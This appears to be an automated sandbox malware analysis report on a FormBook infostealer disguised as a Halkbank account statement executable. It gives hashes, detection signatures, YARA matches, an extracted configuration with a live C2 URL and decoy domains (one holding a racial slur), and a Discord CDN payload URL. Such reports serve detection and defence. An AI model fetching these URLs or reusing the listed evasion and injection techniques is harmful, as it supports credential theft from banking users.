Windows Analysis Report
Halkbank_Ekstre_20220128_081138_756957 (1).exe

Overview

General Information

Sample Name: Halkbank_Ekstre_20220128_081138_756957 (1).exe
Analysis ID: 562454
MD5: 749aaf49615aa07edc9755541b213a4a
SHA1: 8e856cae4e8d14c7d37f5d8342fc2d30acfede64
SHA256: d47bd2ff5d90d64d18485203e59a952e485a39f98e3d54258a578b13d9136ae7
Tags: exeFormbookgeoHalkbankTUR
Infos:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Antivirus detection for URL or domain
Yara detected Costura Assembly Loader
Encrypted powershell cmdline option found
Machine Learning detection for sample
.NET source code contains potential unpacker
Injects a PE file into a foreign processes
Tries to detect virtualization through RDTSC time measurements
Creates an undocumented autostart registry key
Machine Learning detection for dropped file
C2 URLs / IPs found in malware configuration
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to call native functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion NT Autorun Keys Modification
PE file contains strange resources
Drops PE files
Binary contains a suspicious time stamp
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Sigma detected: Suspicious Execution of Powershell with Base64
Creates a process in suspended mode (likely to inject code)
Sigma detected: Autorun Keys Modification

Classification

AV Detection
barindex
Found malware configuration
Source: 00000011.00000000.929078210.0000000000400000.00000040.00000400.00020000.00000000.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.healthonline.store/po6r/"], "decoy": ["jnhuichuangxin.com", "mubashir.art", "extol.design", "doyyindh.xyz", "milanoautoexperts.com", "4thefringe.com", "453511.com", "sellathonautocredit.com", "velgian.com", "6672pk.com", "wodeluzhou.com", "sumiyoshiku-hizaita.xyz", "imoveldeprimeira.com", "dgjssp.com", "endokc.com", "side-clicks.com", "cashndashfinancial.com", "vanhemelryck.info", "agamitrading.com", "woofgang.xyz", "atnetworkinc.com", "malleshtekumatla.com", "com-home.xyz", "buildyourmtg.com", "viairazur.xyz", "drproteaches.com", "amaznsavings.com", "karencharlestonrealtor.com", "bootstrategy.com", "mimtgexpert.com", "sebzvault.com", "brtaclub.com", "gicarellc.com", "annehonorato.com", "rafalgar.com", "bergenyouthorchestra.com", "entrevistasesenciales.com", "thekneedoctors.com", "grosseilemireal.estate", "celestialdrone.art", "bouwdrogerhurenvlaanderen.com", "koppakart.com", "irishykater.quest", "blinglj.com", "editorparmindersingh.com", "klnhanced.quest", "divinebehaviorsolutions.com", "amprope.com", "futuracart.com", "ditrhub.com", "eaoeducationprogramme.com", "smartplumbing.services", "revelandlaceevents.com", "bikedh.xyz", "pacificdevelopmentstudio.com", "palisadesskivacation.com", "happy-pets.xyz", "killyourselfnigger.com", "sonicdrillinginstitute.com", "alibabascientific.com", "sh-leming.com", "aseelrealestate.com", "lohmueller.gmbh", "ngoccompany.com"]}
Yara detected FormBook
Source: Yara match File source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000011.00000000.929078210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.933873934.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.935638982.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.934742685.0000000003E87000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.932614500.0000000003A69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.935785039.00000000010D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.929441630.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.934643233.0000000003E37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Antivirus detection for URL or domain
Source: www.healthonline.store/po6r/ Avira URL Cloud: Label: malware
Machine Learning detection for sample
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe Joe Sandbox ML: detected
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\verify.exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.6.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.4.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.8.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Compliance
barindex
Uses 32bit PE files
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: unknown HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: wntdll.pdbUGP source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000002.935902947.00000000015B0000.00000040.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000003.930075303.0000000001280000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000002.936013595.00000000016CF000.00000040.00000800.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000002.935902947.00000000015B0000.00000040.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000003.930075303.0000000001280000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000002.936013595.00000000016CF000.00000040.00000800.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdbSHA256 source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.935430367.0000000005FA0000.00000004.08000000.00040000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.933451281.0000000003C48000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.932856682.0000000003B49000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdb source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.935430367.0000000005FA0000.00000004.08000000.00040000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.933451281.0000000003C48000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.932856682.0000000003B49000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities
barindex
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 4x nop then pop edi 17_2_0041567B
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 4x nop then pop esi 17_2_004157D7

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.healthonline.store/po6r/
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /attachments/913584216825028612/936582704412110848/Cszji.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 162.159.130.233 162.159.130.233
Source: Joe Sandbox View IP Address: 162.159.130.233 162.159.130.233
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown Network traffic detected: HTTP traffic on port 49761 -> 443
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.931476656.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.810240160.0000000004A6E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.931476656.0000000002A61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.discordapp.com
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, verify.exe.0.dr String found in binary or memory: https://cdn.discordapp.com/attachments/913584216825028612/936582704412110848/Cszji.jpg
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.935430367.0000000005FA0000.00000004.08000000.00040000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.933451281.0000000003C48000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.932856682.0000000003B49000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.935430367.0000000005FA0000.00000004.08000000.00040000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.933451281.0000000003C48000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.932856682.0000000003B49000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.935430367.0000000005FA0000.00000004.08000000.00040000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.933451281.0000000003C48000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.932856682.0000000003B49000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.935430367.0000000005FA0000.00000004.08000000.00040000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.933451281.0000000003C48000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.932856682.0000000003B49000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.935430367.0000000005FA0000.00000004.08000000.00040000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.931638980.0000000002AA7000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.933451281.0000000003C48000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.932856682.0000000003B49000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.935430367.0000000005FA0000.00000004.08000000.00040000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.933451281.0000000003C48000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.932856682.0000000003B49000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: unknown DNS traffic detected: queries for: cdn.discordapp.com
Source: global traffic HTTP traffic detected: GET /attachments/913584216825028612/936582704412110848/Cszji.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.4:49761 version: TLS 1.2

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000011.00000000.929078210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.933873934.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.935638982.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.934742685.0000000003E87000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.932614500.0000000003A69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.935785039.00000000010D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.929441630.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.934643233.0000000003E37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.6.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.6.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.4.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.4.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.8.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.8.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000000.929078210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000000.929078210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.933873934.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.933873934.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000002.935638982.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000002.935638982.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.934742685.0000000003E87000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.934742685.0000000003E87000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.932614500.0000000003A69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.932614500.0000000003A69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000002.935785039.00000000010D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000002.935785039.00000000010D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000000.929441630.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000000.929441630.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.934643233.0000000003E37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.934643233.0000000003E37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Uses 32bit PE files
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Yara signature match
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, type: SAMPLE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 0.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.750000.0.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.b50000.9.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.b50000.1.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 0.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.750000.0.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.b50000.0.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.b50000.1.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.b50000.7.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.b50000.5.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.b50000.3.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.b50000.2.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.8.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
